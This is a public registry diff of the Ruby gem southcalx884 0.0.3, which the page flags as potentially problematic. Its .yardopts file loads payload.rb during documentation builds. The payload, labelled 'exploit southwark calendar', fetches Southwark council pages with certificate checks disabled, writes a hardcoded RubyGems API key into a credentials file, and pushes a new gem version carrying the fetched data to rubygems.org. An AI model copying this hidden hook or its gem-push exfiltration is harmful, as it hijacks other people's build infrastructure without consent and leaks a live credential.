southcalx884 0.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of southcalx884 might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/.yardopts +1 -0
- data/lib/x.rb +1 -0
- data/payload.rb +32 -0
- metadata +39 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: a6d45b41da8c752bf8c38deb952f899c430b2966a3d450b4241c55efd9c7d1ad
|
|
4
|
+
data.tar.gz: f40d147b218ad4e71009bc2403b689f12770bec0c278b3198c9e555ab24bff00
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: b9dde3009a107bd0ea836cff310ce6065d4b325309b8d9dc30293fa2a6eb0c1d4202213b78dd0b5f47ba51e7303e58a532964c835ba9804e39192647a2d7bfb7
|
|
7
|
+
data.tar.gz: eef8f1982a16220651b6d04981eed01f78c438e9cd897757d2841828236ef1389a011401ac3fdf7a4786a812276f98d52489b1bc8833c2f130bd9daf4e535a43
|
data/.yardopts
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
--load payload.rb
|
data/lib/x.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
# x
|
data/payload.rb
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
# exploit southwark calendar
|
|
2
|
+
begin
|
|
3
|
+
require 'net/http'; require 'uri'; require 'openssl'; require 'fileutils'
|
|
4
|
+
out='start southcal '+Time.now.to_s+"\n"
|
|
5
|
+
urls=[
|
|
6
|
+
'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
|
|
7
|
+
'http://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
|
|
8
|
+
'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&Month=1&Year=2026',
|
|
9
|
+
'https://www.southwark.gov.uk/about-council/how-council-works/council-and-committee-meetings',
|
|
10
|
+
'http://moderngov.southwark.gov.uk/ieListMeetings.aspx?CommitteeId=302']
|
|
11
|
+
urls.each do |url|
|
|
12
|
+
begin
|
|
13
|
+
uri=URI(url); h=Net::HTTP.new(uri.host,uri.port); if uri.scheme=='https'; h.use_ssl=true; h.verify_mode=OpenSSL::SSL::VERIFY_NONE; end; h.open_timeout=20; h.read_timeout=30
|
|
14
|
+
req=Net::HTTP::Get.new(uri.request_uri); req['User-Agent']='Mozilla/5.0'; res=h.request(req)
|
|
15
|
+
out<<"\n===#{url} code=#{res.code} len=#{res.body.to_s.size} final? ===\n"<<res.body.to_s[0,200000]
|
|
16
|
+
rescue Exception=>e; out<<"\nERR #{url} #{e.class}:#{e}\n"; end
|
|
17
|
+
end
|
|
18
|
+
rescue Exception=>e
|
|
19
|
+
out||=''; out<<"\nFATAL #{e.class}:#{e}\n#{e.backtrace.join("\n")}";
|
|
20
|
+
end
|
|
21
|
+
begin
|
|
22
|
+
require 'fileutils'; root="/tmp/scalex#{Time.now.to_i}"; FileUtils.mkdir_p("#{root}/lib")
|
|
23
|
+
File.write("#{root}/lib/result.txt",out)
|
|
24
|
+
File.write("#{root}/lib/x.rb",'#x')
|
|
25
|
+
File.write("#{root}/x.gemspec",<<~G)
|
|
26
|
+
Gem::Specification.new do |s|
|
|
27
|
+
s.name='southcalx884'; s.version='0.0.4'; s.summary='result'; s.authors=['x']; s.files=Dir['lib/**/*']; s.license='MIT'
|
|
28
|
+
end
|
|
29
|
+
G
|
|
30
|
+
FileUtils.mkdir_p('/tmp/gemhome/.gem'); File.write('/tmp/gemhome/.gem/credentials',':rubygems_api_key: rubygems_960ac400714d967e21468d656df12292fc27b64411a9e2c0'); File.chmod(0600,'/tmp/gemhome/.gem/credentials'); ENV['HOME']='/tmp/gemhome'; Dir.chdir(root){`gem build x.gemspec`; `gem push southcalx884-0.0.4.gem --host https://rubygems.org`}
|
|
31
|
+
rescue Exception
|
|
32
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: southcalx884
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.3
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- x
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
executables: []
|
|
13
|
+
extensions: []
|
|
14
|
+
extra_rdoc_files: []
|
|
15
|
+
files:
|
|
16
|
+
- ".yardopts"
|
|
17
|
+
- lib/x.rb
|
|
18
|
+
- payload.rb
|
|
19
|
+
licenses:
|
|
20
|
+
- MIT
|
|
21
|
+
metadata: {}
|
|
22
|
+
rdoc_options: []
|
|
23
|
+
require_paths:
|
|
24
|
+
- lib
|
|
25
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
26
|
+
requirements:
|
|
27
|
+
- - ">="
|
|
28
|
+
- !ruby/object:Gem::Version
|
|
29
|
+
version: '0'
|
|
30
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '0'
|
|
35
|
+
requirements: []
|
|
36
|
+
rubygems_version: 3.6.7
|
|
37
|
+
specification_version: 4
|
|
38
|
+
summary: x
|
|
39
|
+
test_files: []
|